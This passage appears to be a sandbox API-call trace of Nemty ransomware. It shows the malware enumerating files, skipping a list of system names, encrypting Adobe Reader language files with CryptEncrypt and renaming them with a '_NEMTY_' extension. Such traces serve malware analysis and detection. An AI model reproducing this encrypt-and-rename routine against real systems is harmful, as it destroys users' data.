returned 30 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IQ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IQ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.677] Sleep (dwMilliseconds=0x5) [0214.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33998e10, dwHighDateTime=0x1d561e8)) [0214.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33998e10, dwHighDateTime=0x1d561e8)) [0214.685] GetLastError () returned 0x0 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.685] GetLastError () returned 0x0 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="PpakzNQR1vRMYvrONPE/RmNlfgR04HWnlqQJmAHcTfRqy1NpMkFDxHCb2p+oHfJ/\r\nGPNnGGfKMlqwslzJCqPytzuBJaLZlcWFTyiGpIC4VLd5O3yeNWbjcwZxW3I+f18J\r\nSawVNPdk/MeciaHfO5LEgXFZG5GTyjzKfYROPKHFkQ2VumQWPNUgeH+irYzXl44N\r\n5XYOkKMhfzlekxfNxNaZrQFUUsC7+kyhAOCrbCawd/SdJp0xQ7Jn+TflJdQqpAnX\r\nI8eNdj63rhh5Se7WzWH10/2AcFV/P6aeby5j/2CIKZqfup/Ve4iQvSKHSNWH8und\r\nCN7X6nEw0nP/0Q9bwjTojw==\r\n", pcchString=0x653e5dc) returned 1 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.686] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.686] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.686] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.690] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.690] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.690] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.690] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.690] CloseHandle (hObject=0x2e8) returned 1 [0214.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.690] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt._nemty_kgobjgd_")) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.691] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_JO.txt", cAlternateFileName="DI0622~1.TXT")) returned 1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2=".") returned 1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="..") returned 1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="...") returned 1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="windows") returned -1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="rsa") returned -1 [0214.691] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="NTDETECT.COM") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="ntldr") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="MSDOS.SYS") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="IO.SYS") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="boot.ini") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="boot.ini") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="ntuser.dat") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="desktop.ini") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="CONFIG.SYS") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="RECYCLER") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="bootmgr") returned 1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="programdata") returned -1 [0214.692] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2="appdata") returned 1 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_JO.txt", lpUsedDefaultChar=0x0) returned 30 [0214.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_JO.txt", lpUsedDefaultChar=0x0) returned 30 [0214.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_JO.txt", lpUsedDefaultChar=0x0) returned 30 [0214.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_JO.txt", lpUsedDefaultChar=0x0) returned 30 [0214.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.693] Sleep (dwMilliseconds=0x5) [0214.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339bef70, dwHighDateTime=0x1d561e8)) [0214.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339bef70, dwHighDateTime=0x1d561e8)) [0214.701] GetLastError () returned 0x0 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.701] GetLastError () returned 0x0 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.701] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Z35E477Wr42PBc8Vg1Iiq7Q8g2qxvLKFbl2aWZyUTCQkKf1ylRGmxGH1j2CQ6MFm\r\n7uyY+CrbmdOA6TPcj0k8FtYguwQ2kx0uI6ZwOf+lY5tV/EEq57KLIs/xH0bkxI8h\r\nrvADmxcmKaN7SMvwF/9H999PDv3YMta4ovYX7Ol6rMZquWOYI/fXPMRmHMc2VVdx\r\nPUn2MhlAfrIPdjMcdcjcVxawFXo6ilUBbWKm2qtI0L3bXasdE74UdDDOM1DoAbiZ\r\nL37qeF+CT770MZEaD1hdlLGR/RKJ8UlfxaKdc6jj2ybSynHH0VhCNvsf3AYKAeY6\r\nzbBriltn7FtaMTUK3zdrmw==\r\n", pcchString=0x653e5dc) returned 1 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.702] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.702] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.702] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.705] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.705] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.706] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.706] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.706] CloseHandle (hObject=0x2e8) returned 1 [0214.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.706] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt._nemty_kgobjgd_")) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.707] FindNextFileW (in: hFindFile=0x3423ab0, 